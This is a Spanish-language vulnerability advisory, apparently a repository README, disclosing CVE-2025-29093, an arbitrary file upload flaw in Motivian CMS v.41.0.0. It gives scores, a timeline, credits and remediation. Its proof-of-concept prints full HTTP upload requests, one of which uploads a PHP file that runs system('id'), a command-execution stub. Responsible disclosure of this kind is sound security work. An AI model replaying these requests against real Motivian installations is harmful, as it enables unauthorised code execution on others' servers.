CVE-2025-29093-Carga-Arbitraria-de-Archivos

Este repositorio revela una vulnerabilidad de seguridad descubierta en Motivian Content Management System v.41.0.0.

• CVE-2025-29093: Carga Arbitraria de Archivos

Esta vulnerabilidad fue reportada al proveedor, conforme a las prácticas de divulgación responsable, y a MITRE, que asignó un ID CVE temporal. Los detalles se hacen públicos tras la expiración del período de divulgación de 45 días.

Información General

• Título: Carga arbitraria de archivos en Motivian
• Tipo de vulnerabilidad: Carga arbitraria de archivos
• Vendedor del producto: Motivian
• Producto: Motivian Content Management System
• Versión afectada: Motivian CMS v.41.0.0
• Componente afectado: Content/Gallery/Images
• Vector de ataque: Remoto
• Impacto: Carga arbitraria de archivos maliciosos
• Severidad: Media
• Puntuación CVSSv3: 6.5
• Vector CVSSv3: CVSS:3.1:AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Severidad según CISA-ADP: Alta
• Puntuación CVSSv3 según CISA-ADP: 8.2
• Vector CVSSv3 según CISA-ADP: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
• Descubierta: 2025-02-03
• Por: Francesco Marcuccio
• Estado: Reportada al proveedor el 7 de abril de 2025 - Sin respuesta/corrección recibida al 22 de mayo de 2025

Descripción

La vulnerabilidad de carga de archivos en Motivian Content Managment System v.41.0.0 permite a un atacante remoto subir archivos arbitrarios con extensiones manipuladas (p. ej. .php, .png, .txt) que contienen código malicioso, a través del componente Content/Gallery/Images.

Prueba de Concepto

La vulnerabilidad puede explotarse subiendo archivos con diversas extensiones. Con fines de demostración, se utilizaron dos casos de prueba de concepto: uno que involucra un archivo .php que contiene código malicioso, y otro que utiliza un archivo .txt con la cadena de prueba EICAR. Ambos archivos se subieron a través del componente Content/Gallery/Images.

A continuación se muestra la transcripción completa de las peticiones y respuestas HTTP utilizadas para demostrar el problema:

Petición Burp EICAR

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"

-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"

M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--

Petición Burp PHP

POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"

304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"

77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream

<?php 
echo system('id'); 
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--

Respuesta Burp

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729

Remediación

No permita que los usuarios suban archivos arbitrarios. Implemente una validación estricta de archivos (inspección del tipo MIME y del contenido), aleatorice los nombres de archivo y restrinja los directorios de carga.

Cronología de Divulgación

Fecha	Acción
2025-02-06	Solicitud de ID CVE (CNA: MITRE)
2025-04-02	Asignación del ID CVE
2025-04-07	Vulnerabilidades reportadas al proveedor
2025-05-31	Divulgación pública tras la expiración del período de divulgación de 45 días (54 días en total)
2025-06-04	Registro oficial e inclusión en la base de datos de MITRE y en el portal NIST/NVD

Créditos

• Descubierta y divulgada de forma responsable por:
  Francesco Marcuccio
  Consultor de Ciberseguridad, Pentester

• La atribución del descubridor en MITRE figura como:
  Francesco Marcuccio
  Consultor de Ciberseguridad, Pentester

Enlaces

Enlaces de referencia: MITRE NIST

Estado

Este ID CVE se encuentra oficialmente en estado PUBLICADO. La puntuación CVSS será actualizada por NIST después del análisis.